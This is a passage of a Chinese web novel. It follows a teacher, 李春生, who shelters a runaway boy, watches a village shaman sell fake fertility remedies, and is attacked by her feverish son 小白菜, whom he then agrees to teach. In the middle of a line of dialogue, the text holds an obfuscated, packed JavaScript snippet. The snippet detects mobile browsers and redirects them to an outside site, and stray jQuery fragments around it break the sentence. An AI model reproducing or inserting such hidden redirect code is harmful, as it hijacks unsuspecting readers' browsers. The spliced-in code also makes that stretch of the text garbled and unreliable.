“出来吧,别躲了。”李春生对着空空荡荡的房间说。 吱嘎—— 回答他的是角落里的大木箱,过去里面存放着哑巴奶奶和李春生为数不多的衣物,现在它空空如也。 也不尽然。比如现在那木箱就像两片嘴唇上下翕动,吐出了一个长手长脚的少年。他从木箱里滚到地上,抬眼瞧见门口的李春生,就如同见了林中猛兽一般转身就跑。他一抬腿就从地上登上了床,站到窗前,想从那扇小窗里脱逃。可是这愿望落了空,他十根细长的手指抹了油似的怎么也抓不住窗户边。少年及时放弃了这个出口,而转头回望着门口的人。 李春生站的位置很靠边,像是有意给他留出了夕阳赤红的一角。少年摸到床边,再摸到墙壁,只露给李春生自己的侧身。他们二人一言不发,沉默地对峙着。 那少年深吸了一口气,倏地埋头就往李春生身边的空隙冲过去。不过他这孤注一掷的举动不出意料的碰了壁。李春生只侧身抬手一拨,老屋的门就贴着少年的鼻尖关上了。 他明白了自己的束手无策,索性往地上一坐,视死如归地看着李春生说:“随你便吧。” 他坚毅的模样太过认真,把老屋的主人都逗笑了,“你以为我要对你做什么?” “小偷砍手,强盗砍头,我浑身上下一分钱也没有,只有我妈说的贱命一条,你想要什么我都没有,所以随便你。” “但我知道你既不是小偷,也不是强盗。”李春生蹲下来与他平视,“你是水鬼,对吧?” 那少年显然是听说过这个词,他的瞳孔在一瞬间放大了些,很快又镇定下来问道:“你看到我了?” 李春生告诉他,“我看到老季从明月庄离开之后,你就来了明月庄,我看到你白天在明月庄各处躲躲藏藏,好像在找什么东西,我看到你的水性很好,总是潜进河里摸鱼还抓过几只鸭子,我还看到你累了就在这里睡觉。” “你是信息兵?” “我只是个中学的历史老师。”李春生向地上的人伸出手,少年见他似乎不像自己想象中的那样穷凶极恶,也稍稍放下了戒心,但在屋里坐下来的时候还是与李春生保持了相当的距离。 “我没地方住,你这屋子里没人。”少年开始解释自己睡在这里的原因。 “你可以继续住在这里的。”李春生说,“不过要帮我个忙。” “我为什么要帮你?” “因为我也会帮你,并且,我能回答你所有的问题。” 那少年说:“你有点神神叨叨的。” 李春生又笑了,他透过窗户看到太阳的光辉被夜色吞没,月亮挂上了树梢 ,就恰合时宜地提起一个能让少年信任他的话题,“除了我的眼睛看见的你的行迹,我还知道你是为了老季的事而来,知道你和小季老师的关系不错,她是你的姑姑,你很想和她说说话,对吧?” “你怎么知……” “她来了。擦擦脸,别让她看到你脸上的泥巴。” 李春生的话音刚落,老屋的门就想起三下咚咚的叩门声,少年连忙站得笔挺,李春生则打开了那扇木门。 和方才的赤红截然不同,现在门框里装着的已经是靛蓝的夜色。小季老师刚踏进半只脚,就看见了少年被自然光描绘出来的五官。 “季青山?!”小季呼喊少年的名字,她蹲下来捧着他的脸问道:“你妈呢?” “死了。”少年平静地说道,“有一阵了。我想来和你一起住,然后就听说我爸找不着了,这个屋子没人住,我躲在这里的。” 李春生告诉小季明月庄这几日来的水鬼传闻由季青山而起,这个少年却抬起脸呵呵笑着,好像在讨要表扬,“我没饿着,我抓鸭子来烤着吃。”小季老师对他的回答哭笑不得,“春生哥,这小孩也太不懂事了……” “没关系,正好他能帮我一个忙。” 季青山问道:“你要我帮你什么?” “帮我制造一些混乱。” 22. 动物凶猛 一辆载着卷发女人和西装革履男人的汽车咕噜咕噜地在明月庄曲折的道路上行驶,与孟明达那辆落了灰的旧面包车擦肩而过,他转头瞥了一眼车标说:“哦哟,大奔驰。”随后他又看我,说道:“外面来的车吧?这小破地方有人买得起才怪呢。” 我发现自己已经习惯了他车里的各种味道,甚至能在这氛围中昏昏欲睡,旧车窗外的世界像是泡在茶壶里。我知道这辆汽车当然不属于明月庄,但坐在其中的两人却在各种意义上都是明月庄忠实的附庸。 那位兢兢业业的塑像师傅李得彩坐在半人高的泥土当中钻出头来告诉万金花,他们的最珍贵的孩子小白菜在今天因为意外而丢失了一颗虎牙。这个在神婆子的位置上坐了几十年的女人精神高度紧张,她在院子里徘徊呢喃,一边踱步一边把身上花里胡哨的行头扔到地上,她的话对于李得彩来说就是清溪河每日哗哗的水流声,听过就忘。不过我知道,万金花念叨的是一个令人不安的故事——一个姓李的纺工从不在家中供奉吉祥天师的神像,他的心中口头也从不挂着吉祥天师的尊名,而到了盛大的拜神祭典上,李纺工拿不出一个子儿供到祭坛上,可他还是厚着脸皮向天师祈求了合家平安。天师有着善心,便将这福气藏在了李纺工儿子的一颗虎牙里。纺工的儿子长到了要换牙的年纪时,啪嗒,那藏着祝福的乳牙率先脱落,把李纺工全家的福气都掉没啦!你问他们怎么了?李纺工被纱线绊倒摔破了头,他老婆打水滑进了河,至于他们那个脱落了乳牙的儿子,他所有的牙齿掉落后一个也没有长出来!就这样,换牙期的孩子若最先掉落的是虎牙,那么这一家人必定要倒霉。 我和李春生都知道这个故事是杜撰的,明月庄从来没有这么一个李纺工,吉祥天师也没有蠢到把祝福藏在小孩必然脱落的乳牙里。但这样的故事对于明月庄来说已经具备了足够的威慑,足以让万金花对此惶恐不安。 不过她可不是会坐以待毙的人,和小白菜有关的一切都让她重新回到了提心吊胆的十二岁。牙床上的缺口难以瞒天过海,所以万金花转变了方向,她要让明月庄的人们对这颗虎牙的脱落有目共睹,同时对它闭口不谈,这就需要让它成为自己能力的象征,而不是倒霉的先兆。 这辆洗得锃亮的大奔驰就是这么来到明月庄的,车里穿着高跟鞋和红裙子的卷发女人拎着皮包下了车就在李得彩无声的指引下坐在万金花的对面。西装男人坐在车里抽烟,车窗里不断飘出烟雾,几个小孩子凑上来蹦跳着闻,被男人掸了一脑袋烟灰。 “你们这儿真难找。”卷发女人一边欣赏自己的指甲一边说道。 万金花给她端上一杯茶,“您受累,到我们这穷乡僻壤。但是东西有用,再远也不是问题,您说是不是?” 卷发女人和西装男人都不是明月庄人,李春生可以确定这一点,他们是从外面来的。孟明达告诉我他们也不会是镇上的人,他从没见过这么一辆引人注目的车。 那女人笑了笑,说道:“麻子是你们的人?” “诶呦老板娘,麻子是麻子,我们是我们,和你们做生意是一样的,都是合作伙伴嘛!” 万金花说的话女人爱听,她放下了二郎腿看了一眼外面车里的男人和屋外围观的众人,“麻子说你有偏方,保证能怀上,真的吗?” 万金花的脸上还是挂着笑,她牵着卷发女人的手走到窗前,指着蹲在墙角的人们说:“我真不真,你不要问我,你问他们。不说这怀孩子的事,你就问别的,身上不爽快啦犯冲不走运啦,随便问。” 有时候我也很佩服万金花忽悠人的本领,她的一张嘴把白的说成黑的也不在话下。慧慧总是调侃我也应该去找她要一个偏方,来治治我笨嘴拙舌的毛病。我很想把话抛回去,可惜也因为嘴笨而落了下风。 卷头发的女人最终没有求证,她对这些人的气味感到厌烦,捂着鼻子坐了回去,“那你说吧,这偏方是什么,钱我们有。” 神婆子装模作样地伸出手看了看女人的眼皮,皱眉摇头表现出一副惋惜的模样。“诶哟,老板娘,你的子孙福薄啊。” “啊?那怎么办?” “没关系,没关系。”万金花露出殷勤的笑容来宽慰烫头的女人,“你到了我这里,肯定不让你空手回去。你的子孙福薄,我这里刚好有一个仙家点化的灵童,让他把福气分一点儿给你,在吃我一副药,保管就好了。”万金花举起手在空中拍了两下,李得彩就从里屋躬着腰把小白菜抱了出来,他欲盖弥彰地捂着小白菜的嘴,恭恭敬敬地把孩子递给万金花。神婆子领着卷发女人来到门口,朝好奇的围观群众宣布:“无福之人来我们有福之地求门道,我们便把福气分给她,积德行善,给天师登临塔铺铺路!” 说罢,万金花就背过身去,用桌上早就备好的钳子伸进小白菜的嘴巴,装模作样地要把本就不在嘴里的虎牙卸掉,这一过程中她浑身颤抖,我知道她怕的是小白菜会当场报复,但这个浑身高热的孩子死死盯着万金花的眼睛,除了因不满而扭动着身体反抗,他什么也没做。万金花也瘆得慌,在小白菜耳朵边悄悄地说:“我也是为了咱们全家,你忍忍吧。” 万金花的袖口里滑出之前的那颗虎牙,和一条红线一起血淋淋地握在她的手心,展示给所有人看。 “看!咱们明月庄的小仙童有大德,把他自己的福气分给她啦!” 小白菜从李得彩的手中挣脱,冒着热气站在门边,口腔中的血从嘴唇渗出来滴答滴答地落到衣服上,他忽然咧开嘴笑着说道:“对,对,对,我和你们可是不一样的,我有天师,星君,保胎仙娘娘三位的祝福,我的福气都要满出来啦,一颗牙可装不下,我嘴里的二十八颗牙齿全都装满了三位神仙给的福气,拿去一颗还有一颗哈哈哈哈哈哈哈!” 小白菜的状态让万金花感到毛骨悚然,她不需要一个伶牙俐齿的小仙童,她只需要一个能乖乖躺着让她拔牙的孩子。但是在卷发女人面前她还是保持了镇定,她把那颗牙用布包好递出去,“老板娘,我们这儿的人虎牙里头都装着福气呢,你把这颗带回去穿个孔做成手串戴上吧。” 那女人皱了皱眉,不情不愿地接过了牙齿,“就这个?” “什么?不是不是,当然不是了,老板娘。”万金花踢了一脚小白菜的屁股把他送回房间里,这孩子的身上热得发烫,李得彩扯了一块布来包着才敢上手把他抱走,小白菜对着父亲的耳朵恶狠狠地说道:“你们给我等着,你们给我等着……” 这话没有落到万金花的耳朵里,她继续给卷发女人解释:“抓药需要药引子,你求偏方也要有引子,戴了手串效果更好。” 女人朝着窗外奔驰车里抽烟的男人望了望,流畅地换上一张意味深长的笑脸,“我只要你的方子有用。”说罢她就从上衣口袋里摸出一包沉甸甸的东西,她一打开万金花就认出了那是什么——一包金币,圆滚滚金灿灿,上面的雕花比登临塔上的还要细致呢。女人将这包金币朝着屋外翘首以盼的人们喂鸡一般地洒出去,金币刚在地上碰了个响就被这群家伙抢完了。而神婆子保持自己威严的姿态端坐在原地,女人回过头来向她报告:“你说的,金银点地响,福禄缀满身,我撒了,可以了吧?” 于是一个藏在隐秘处的罐子被神婆子一层一层揭开,她招呼卷发女人过来看,那罐子才刚从厚实的包裹里露出一角就又迅速被盖好,卷发女人也还云里雾里。不过我是知道的,那罐子里装的是一个胎盘,从某个倒霉的产妇身上剥落下来,满足神婆子的私心。而这产妇自然是死了,我记得她全程都很懵懂,对自己的命运茫然无措,她双手捧着空荡荡的肚子,四肢都纤细得像木棍,走在路上像个不倒翁。所以那次我走得很慢,也不想催促她,有那么一刻她开了口对我说:“要是我的小孩以后也像你这么高就好啦。” 现在,这张曾属于她孩子的温床被万金花递到卷发女人的手里,“你拿回去,把它分成二十七份,每隔两天取一份切成渣子冲水,用这水煮两个鸡蛋你吃,剩下的水让你男人喝。” “吃完就能怀上了?” “能,肯定能。要是还怀不上你就再来一次,我这儿还有呢。” 卷发女人说:“你可别唬人。” “我不唬人,我就是为这个而生的,老板娘,你不信我,也得信吉祥天师,这法子是他老人家的独门秘方,我就是个传话的。” 女人指着柜子上的神像问道:“就是他?” “诶哟诶哟!”神婆子连忙按下了女人的手,“不能乱指啊,天师要生气的。不过,老板娘你慧眼识珠没有认错。”她凑到女人跟前更小声地问她:“老板娘,我还有个拴住男人心的偏方你要不要?” 女人的眼睛刷地亮起来,“怎么拴?能让他离婚吗?” 这一句话倒是让万金花有了意想不到的收获,不过她清楚自己最应当保护这个秘密,她顺着女人的话说下去,“想要效果好,就得心诚。老板娘,我这儿有一包寿仙土,把你们俩的头发剪一撮烧成灰混到寿仙土里,每天取一些泡水喝,就是这个方子啦。” 这个方子明显比刚才的更能让卷发女人开心,她乐呵呵地笑着给万金花支付了一沓钞票后,就踩着高跟鞋拖着西装男人去东边天师庙里上了香,我们方才擦肩而过的,已经是他们这段时间来祭拜的第三次了。拜这二人所赐,那颗不幸掉落的虎牙成了神婆子一家大公无私的象征,女人洒下的金币也叫人们尝到了甜头,明白了谁才是明月庄真正的摇钱树。 “呸!”孟明达显然对此十分鄙夷,“又不知道憋着什么坏呢。李月来,这地方太邪门,我说你以后也别在这儿待着了。” “以后再说吧。” “还以后呢,你三十二了吧,长得又不赖,这破地方多耽误人。” 我一时没明白他的意思,“耽误什么?”孟明达张大了嘴深吸一口对我的无奈,“没什么!诶我说,什么时候能接人出来啊?” 他说的是季有兰,我告诉他:“快了。” 自从那天小白菜像蚂蟥一样盘住了银铃儿的腿,中学就成了他魂牵梦绕的场所。他是个说到就要做到的人,没过多久当万金花和李得彩都投身在重修登临塔的事业中时,小白菜就叩响了教室的门。 “李老师,你好啊。”他坐在门口的地面上,浑身因为持续不退的高热而通红,活像一个肥大的红萝卜。李春生对小白菜的到来早有预料,或者说本就是他计划的一部分,他蹲下身子来与这棵萝卜平视,“小白菜,你来找你的姐姐们吗?她们还在上课,你得等一会儿。” “不不不,李老师,我是来找你的呀。”小白菜答道。 这时候金铃儿从她的座位上跳起,她圆圆的眼眶里又开始集聚泪水,“白菜!你别这样!”金铃儿踩着下课的铃声来把这棵萝卜拔起,“嘶,你的身上烫极了。” “姐姐,你不要来碰我!我不是来找你的!”小白菜两条腿乱蹬乱晃,想要从金铃儿的怀抱中挣脱,“李老师!李老师!我就要被你的好学生掐死啦!你不能见死不救啊!” 这小子讹人的本事炉火纯青,谁看了都会忍不住说一声他与万金花不愧是母子。把这姐弟俩分开还费了李春生一番功夫,多亏了银铃儿前来使出她的独门秘技,小白菜才重新掉到了地上,像一个真正的萝卜一样裹上了泥。“死东西,癞皮狗,阴魂不散的小野鬼!”银铃儿骂道。 “嘿嘿嘿嘿,姐姐,你腿上的伤好了吗?” 再这么下去两人非得在中学里打起来不可,李春生对银铃儿说:“银铃儿,嘘!我和你姐姐有话说,你在教室里等我们好吗?” “这个家伙没安好心,他要害你们呐!我不放心!” “姐姐啊姐姐!你怎么能这样诽谤我!我明明是来求学的呀,这位李老师声名在外,我又见证了他在针对老校长的审判中游刃有余地斡旋,我当然要来到他的门下了嘿嘿嘿嘿嘿……” 眼看小白菜就要狞笑着扑向李春生,金铃儿一把抓住了弟弟的脚把他拽走,并对银铃儿喊道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063030|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你回去吧,就当给我个面子!” 银铃儿选择继续站在门口生闷气,她从不违背姐姐的意志,不情不愿地使自己从当前的局面中脱离。 小白菜在办公室里发出尖锐的鸣叫,“李老师!你怎么说话不算话!明明是你对我发出了邀请,怎么现在又想对我置之不理呢?” “我从没打算对你置之不理,小白菜。”从小白菜出现在教室门前的那一刻起,李春生就知道自己那日对他说的话起了效,他给自己铺设的死局已经无法挽回地开始了运转,而小白菜,将会成为功不可没的助推手。 “好啊!好啊!李老师,那你就该让我坐在你的教室里和他们一样地学习!” “你说的都是谎话!”金铃儿说:“你一定是还有别的目的!” “我的好姐姐啊,你怎么能像银铃儿那样怀疑我呢?”说罢他立马改换了一张笑脸,“啊啊,我当然有别的目的,我倒要看看这位李老师,他有多大的能耐嘿嘿嘿嘿嘿嘿……” 李春生摁住小白菜的肩膀,防止他继续向金铃儿靠近,“小白菜,那你上课的时候,可不能走神。” “春生老师……” 菩萨心肠的金铃儿对自己这个弟弟的为人心知肚明,他才看不上什么学校教育,更不用提诚心求学,他和自己疯狂的母亲一样是梦想得道成仙的疯子。金铃儿当然无法控制一个疯子的想法,就像道德并不是用来约束有道德的人,但她不能眼睁睁地看着小白菜蚂蟥一般爬上李春生的腿。 “可以,老师,他可以留在班上。但是……”金铃儿扯下绑头发的红带子,用它把自己和小白菜的手腕牢牢拴在一起,“他和我绑一块儿,他去哪儿我就去哪儿。” 在金铃儿的身上,李春生看到她如母羊般温和包容的影子,可惜明月庄的羊大多没有好下场。他没有说话,而是看着小白菜,他将继续纵容这个孩子的想法。 “我看你是被迷惑了心神!姐姐,你居然和李银铃一样想要限制我的人身自由!”小白菜不出所料地开始反抗,他张大了白鹅一般的嘴去啃咬手上的绳结,“我看错了你!我看错了你!原来你和他们是一样的人,妈妈都不敢拿绳子捆我,你怎么敢!你怎么敢!” “在家里你听妈的,在学校你就得听我的,你没有长兄,我是你长姐,我怎么不敢!” 红绸带被咬得七零八落,在小白菜把他的尖牙对准金铃儿之前,李春生掰着他的下巴把他摁在了桌上。他的上半身在办公桌上挺得笔直,脑袋往后仰去死盯着李春生的脸。世界再次呈现出天地倒转,走兽飞天,游鱼爬行的怪模样,而李春生的声音却乘着一根闪金光的丝线钻到了小白菜的耳朵里,“可以了,小白菜!我允许你来学校,却并不允许你伤人。你这个样子,我什么都没法教你。” “伤人?你说他们?他们不都是蚂蚁吗?”小白菜的脑袋几乎要后仰成九十度,“李春生,还是你以为我想和他们在一块儿?嗯?我是吉祥天师亲自点化的仙童,你不觉得与凡人混迹在一块儿是对我莫大的侮辱吗?!”小白菜在桌上翻身跳起,把他疯狗似的前爪搭在了李春生的脖颈上,他的长指甲嵌进皮肉,李春生的皮肤上就留下断断续续的血印子,“你听不懂吗?你怎么听不懂?李春生,你不懂吗?你为什么不懂?!” “我是不懂你的想法……就像你也不懂我为什么愿意做你的老师……小白菜……我们是一样的……” “不一样!不一样!”小白菜手上使的劲儿更大更狠了,李春生抓着他的手腕也无济于事,可他还是继续说道:“那你……倒是跟老师说说……哪里不一样……” 小白菜瞪大了眼睛说:“李春生,你真高尚啊。” 这时候我在金铃儿的指引下终于来到了现场,揪住小白菜的衣领和揪住李洪那次没有什么不同,一个六岁孩子的体重也比成年男人轻上许多,然而他和一只发了疯病的猴子似的乱动导致我也没法迅速控制住他。我看到李春生头靠着墙捂着脖子咳嗽,他的胸腔最大程度地起伏着渴求新鲜的空气,他的双手骨节又沾上了自己的血,嘴唇和脸庞也就丢失了健康的气色。我敢说这是李春生最接近死亡的一刻,他就像一头被咬伤了脖子的鹿,在捕食者环伺的草原上终究是活不长的。 现在我手上的这只小兽在挣扎中再次发起高热,煮红薯似的使他逐渐瘫软下来,我们才勉强控制住他。金铃儿在一旁拍李春生的背想要给他顺气,她又开始道歉,“春生老师,对不起……” “不用咳咳咳……金铃儿,不要道歉……”我能感觉到李春生此时要用上浑身的力气来说一句完整的话,“我说的话不变咳咳咳……但你们,不必绑在一起……我都,想好了……你只做你想做的事去吧,别怕。” 金铃儿终于在这日明白了明月庄就是一片环绕着山林的草场,有的是爱吃活物的黑熊,有的是成群结队捕食的鬣狗,有的则是胆战心惊的鹿与羊。可鹿与羊也有自己的生存法则,金铃儿想,只要围在一起,把尖角朝向敌人的肚皮,那么鹿与羊也有令人生畏的力量。她的这个想法也得到了李春生的支持,尽管不知道是何时走漏了风声,金铃儿还是发自内心地感到了心安。 以质问的态度对待李春生的恐怕只有我一个人,晚些时候我问他:“你是不是很遗憾,没能在今天就死去?” 他笑了笑说道:“这样死去的只有李春生,不是吉祥天师。李月来,你搞错了吧,我是想死,但不是这个样子。” “你还有心情说笑呢?把小白菜引来,难道不是引狼入室吗?” “我明白你的意思,李月来。但我要离开这里,小白菜很关键,只是现在还不是时候,金铃儿和银铃儿她们还在这里,我不放心。” “对你来说太危险了。”我也不放心。 李春生拍了拍我的手背,“你放心,我自有安排。”他扶着椅子坐下告诉我:“前几天,小白菜向我许了一个愿望——他要做明月庄的救世主。” “我会满足他的。”李春生说道。 23. 土地心跳 老校长怀着将信将疑的态度批准了李春生给小白菜一间单独的教室的请求,一来她对小白菜这个明月庄最特殊的儿童心存芥蒂,二来又十足地认可李春生这个年轻人的能力。再三思考后她提出了两个要求:“第一,小白菜的授课时间必须在放学后,第二,上课时必须敞着门。” 对此小白菜仍然表现出明显的不满,但他却不再暴跳如雷,把自己的爪子对准别人的喉咙,这次他阴郁着一张肉脸积攒自己的怒火,心里不断预演着“课堂”上可能出现的各种场景。小白菜觉得自己正在成为一台先进的机械,或是一个无可匹敌的预言家——怎么说都无所谓,这二者在某种程度上是一样的——他从千万种命运中选出自己最喜欢的一个,成为明月庄仙童对自身命运的预言,剩下的就是千方百计实现它。 李春生看人很准,他曾说小白菜是个说书的好苗子,在如今的时代能做个出色的艺术工作者。我听了之后对他说:“那他找你上课真是找错人了,他该找个教美术音乐的老师。”我想我这话的幽默感几乎为零,但李春生还是笑了好一会儿,我问他发笑的原因,他却什么也不说。 小白菜要上学的消息传到万金花和李得彩的耳朵里已经不知是几手消息了,泥土中的男人举起他心爱的古巴烟斗,沙哑的声音和烟雾一同升空,“就他现在也能上中学?”他扇扇面前的厌恶像扇走衣服上的蚂蚁,下一秒就开始拿锉刀去锉掉土像上的黑点子。万金花则一边脱下身上的行头一边满头大汗地朝外面喊道:“他们要诲人不倦,那就去吧,不是他把中学闹得天翻地覆,就是中学把他也吃了,碍不着我什么事儿!” 小白菜来得很准时,虽然我不知道他是怎么做到半数时间都在发高烧的情况下还能行动自如,但这个幽灵般的身影已经铁板钉钉地要出现在中学里。我拿着饭盒前往办公室的时候小白菜就站在教室的门口冲我露出一个鼻涕虫般恶心的笑脸,我把饭盒拍在李春生面前说道:“吃完再去。” “你不用太担心,在登临塔的基座落成之前,他不会做什么出格的事。” “预言?”我问。 “预感。”他说。 “你什么时候能预感些好事儿?”我嘀咕了一句,李春生终于抬起头来看着我,他反问道:“你怎么定义好事呢?” “怎么跟上课似的,你小心职业病。”很快我就从这奇怪的氛围中逃走,一转身出门就看到小白菜的笑脸依旧焊在脸上,他甚至抬起手来想要与我打招呼,我在走廊尽头无动于衷地盯着他,直到李春生走进了那间教室。 小白菜坐在空旷的教室中央,他身上高烧的余热未退,连摸过的桌椅都有着难耐的温度,李春生用一块湿毛巾细致地给他擦了脸和手,小白菜冲着他发出“嘿嘿”的笑声。 “李老师,哦不,以后我也要和我的姐姐们一样,叫你春生老师。春生老师,你果然答应了我的要求嘿嘿嘿……” 李春生在他对面坐下,用我比较熟悉的极其平淡的语气说道:“你这么看得起我,我倾囊相助是应该的。” “是你很看得起我吧?春生老师,要不然你为什么要用障眼法潜入我家里来引诱我呢?为什么你要在老校长的事上横插一手,为什么要蛊惑我的好姐姐金铃儿呢?” 小白菜的这些指控,李春生早有预料,如果不给他一个满意的答复,这所谓的“课堂”就不可能正式开始,“小白菜,首先我没有用什么障眼法,那天我敲了很久的门却无人应答,你的父亲李得彩陶醉在他的藏品里并没有注意到我。其次,李洪对老校长的指控本就是无中生有,定刑论罪,需有令人信服的证据,这是写在《千年万代引》上的话,就保存在你妈妈的手上,对吧?更何况李洪因为自己的誓言遭到了吉祥天师的惩罚,我只是在阻止一场冤假错案而已。最后,你的姐姐金铃儿,她的确是一个优秀的学生,只是蛊惑从何谈起呢?如果你说的是她想要把你们俩绑定在一起的事,那是因为她好心又善良,你一直生着病,金铃儿这样做既是保护你的安全,也让学校更放心。她又不是神仙大能,偶尔考虑不周,也是可以原谅的吧?更何况现在,你并没有被绑着,对吧?” 小白菜在片刻的沉默后爆发出长达一分钟的笑声,大笑让他喘不过来气,李春生继续做他的老好人,用一个母亲哼唱晚安曲的节奏给小白菜拍背,帮助这个孩子从短促的气音中调整好自己的呼吸,“嘿嘿嘿嘿嘿……春生老师,看来不管我说什么,你都会用类似的花言巧语来搪塞我了,对吧?” “这不是花言巧语,小白菜,无论你信不信,我说的没有半句假话。” “你觉得我信吗,春生老师?”小白菜往斜上方投去恶毒的一瞥,也决心对李春生开诚布公,“春生老师,你倒是说说,我要如何才能像吉祥天师一样,成为明月庄所有人都仰望的存在呢?” 李春生站得远了些,像是防备着他似的,“恐怕我的智慧比不上你,小白菜,不如先说说你的想法。” “嘿嘿嘿嘿……别人不知道,但我很清楚,我们明月庄病了,而且很严重,就像癌症一样。你看看我们伟大的吉祥天师,他的香火比以前更旺,他的塑像金身举目皆是,但是我把耳朵贴在地上,已经很难再听见他的心跳声了。春生老师你知道吗,以前,在我三岁的时候,那地上的心跳就像藏了只兔子!现在,却像个老头喘气!我知道他过去不是这样的,他明明应该对明月庄的声音做出回应,而不是像现在这样需要我们费力地供奉才抬一抬眼皮!” 小白菜虽然令人生厌,但似乎真的像他们说的那样仙缘深厚,土地的心跳的确属于李春生,它是整个明月庄与吉祥天师血脉相连的证明,只不过在我的认知里,它应该早在百年前就无法被清晰地听见了。为此我猛然惊觉,原来李春生在这死灰般的日子里,也是偶尔浮现过希望的。 “你说明月庄生病了?它病在哪儿?我不是医生,没有看出来。”李春生问道。 小白菜来了兴致,他噌地站上了椅子,一只脚踏在课桌上模仿一个将军的姿势说道:“我们地里的庄稼产量连年下滑,我们树上的果子又小又酸,我们圈养的猪羊总要伺机逃跑,男人们懦弱无能又脾气暴躁,女人们心思深重又趾高气昂,孩子们与人作对又叛逆荒唐。很显然,这是阴阳颠倒,四方八方经纬混乱,小鬼恶鬼盘踞导致的后果!他们甚至已经堵塞了吉祥天师的经脉,阻碍他回应人们的期待,现在他气若游丝,明月庄也就奄奄一息!” “嗯。”李春生面无表情地应了一声,“你分析得很好,小白菜,可是我们治病总要找到病根。” “是啊春生老师,我已经讲得很清楚了,病根,不就是吉祥天师本身吗?这也是我的预感——恐怕吉祥天师他,就快要死了。”小白菜用他乌溜溜的眼珠盯着李春生,好像期待着他的反应。我想他是渴望得到一句“为什么”或者“你怎么知道”的,但李春生没有追问任何话,小白菜的两只眼睛也就因为压抑的愤怒而迅速地充血。 “那……他之前为什么要来为你开蒙?”李春生问。 “是自救啊。”小白菜往后仰躺在桌子上,像一头待宰的年猪那样伸展自己的四肢,望着天花板昂昂地叫着,“他下达了最后的使命,要我带着答案去回复他,这答案就是药剂,只能由我带给他,天师抓到了纵火犯,才能重获生机。” 李春生把小白菜扶起来,“那么小白菜,为了重建,我们要解开的第一道题,就回到了拜神大会那天——谁烧了登临塔?” 小白菜坐在椅子上触了电似的发抖,这颤抖源于灭顶的快乐,“啊哈哈哈哈!你说得对!你说得对啊!李池,他就是个替死鬼!为了我妈妈在明月庄里虚无缥缈的名望,成了一个替罪羊!我就知道!我就知道是这样!” 他的老师并没有被小白菜发狂的情绪感染,他回到座位上坐下,等到小白菜终于笑不动了才说:“好,该上课了。” 李春生和小白菜的课堂步入正轨,我便去找慧慧传递消息。说是消息,其实是我从李春生的话里擅自推理的结果:“登临塔那边还有多久打好基座?到时候就准备送季有兰走。” 慧慧站在房顶上,沿着屋脊如履平地地走着,“快则五天,慢则七天,要不了多少时间了。”她手里还拎着老校长嘱咐要拿给季有兰的东西,“确定了?” “十有八九。”我说。 “又是他说你猜的戏码,也别十之八九了,你就没猜错过。”慧慧说罢轻盈地一跃就将自己隐藏在明月庄错综复杂的围墙迷宫中,再一闪身就避开了季有兰家门口环绕看守的人跳到了她面前。 这帮手持长柄农具的家伙最擅长的就是长时间的看守巡视,和当初在大树下看守蜕变成猴子的李洪没有什么不同。但万金花下达的指令被他们添油加醋地夸大了,以此来提升自己这份工作的含金量,保证自己在受害者跟前的权威。与此同时他们还辩称看守季有兰的行为并没有违背承诺,他们不找麻烦,只是把身子和眼睛放在这里,让季有兰感到些不自在。这和那帮私自为难季有兰的人不同,慧慧不想和万金花再有直接的冲突,她冷哼了一声,没有说什么。 反正他们的看守对慧慧来说也不管用,她悄无声息地把东西送到季有兰跟前,“你收好,悄悄的,权当我没来过。” “啊呀啊呀,我是个废人,早该入土的,麻烦你们又连累小潭……”季有兰身上的颜色不牢固,淋了雨就丑陋地往地上淌。慧慧扳正她的肩膀道:“有兰姐,再过两周,最多一个月,你就可以和小潭团聚,你信不信我?!” 季有兰的身上又开始闪耀彩色的光芒,“真的?” “你信我就是真的。”慧慧将包裹里小潭的发绳递给季有兰,“我们说了会带你走,说到做到。” 这位苍白的母亲将发绳抓在手里贪婪地嗅闻,那是女儿的气味,那是新生活的气味,发绳透过她的鼻子为她注入喷薄的颜色,每深吸一口气,季有兰身上的颜色就鲜艳一层。 “你只好好活着,要活得比以前更好,剩下的交给我们。”慧慧说道。 天师登临塔的基座落成仪式在一个折中的时间——六天后——如期开始了。 一个高约三米,半径足有五米的圆形高台在明月庄东边的地上迅速生长起来,它的体积足足是前身的两倍大,在神婆子英明神武的指挥下,经由明月庄劳动人民的双手打造成现在的模样,从它就可以窥见新登临塔未来的威武面貌:围绕着圆形高台聚拢着十八片花瓣,让基座成为莲花台的模样,花瓣外侧是妙手师傅李得彩用他最精细的工具描绘的灿金纹路,即便在阴天也能熠熠生辉。花瓣内侧则是神婆子万金花咬破手指用羊毫笔蘸了血写上的《吉祥天师救苦逢源集注》,收录了吉祥天师在明月庄布施赐福,显灵降圣的故事。核心的圆台上涂了红漆,沿着边沿写上一圈“感灵应召救苦逢源真君”的大字。 这个圆台已经先于吉祥天师本尊得到了虔诚的祭拜,三个供人叩拜的蒲团整齐排列着,最中间的那个铺着红布,上面正跪着一双颜色白皙的膝盖。这膝盖的主人正是当初坐着大奔驰几次进出明月庄的卷发女人,今天她的头发仍然卷曲着,而此前平坦的小腹现在明显地隆起了。女人过去的那双细高跟不见了踪影,她换上了平底鞋,金耳饰换成了大珍珠,胳膊上也多了一个玉镯子。女人双手合十面带灿烂的微笑念叨着:“好天师,大恩大德永世不忘,有我在一日,您的香火就不会少!” 西装革履的男人仍然与过去的每一次一样坐在车里,打开一条窗缝吞吐香烟。万金花搓搓手走过来对卷发女人说道:“老板娘,天师应了你的心愿,为你和肚子里的孩子结了今生的缘。之后的事他老人家就不再插手,你该去拜保胎仙娘娘啦,女仙的耳根子软,老板娘多说点儿好话,多供点儿亮闪闪的东西,保胎仙娘娘一定能给你送来一个聪明伶俐的好孩子!” 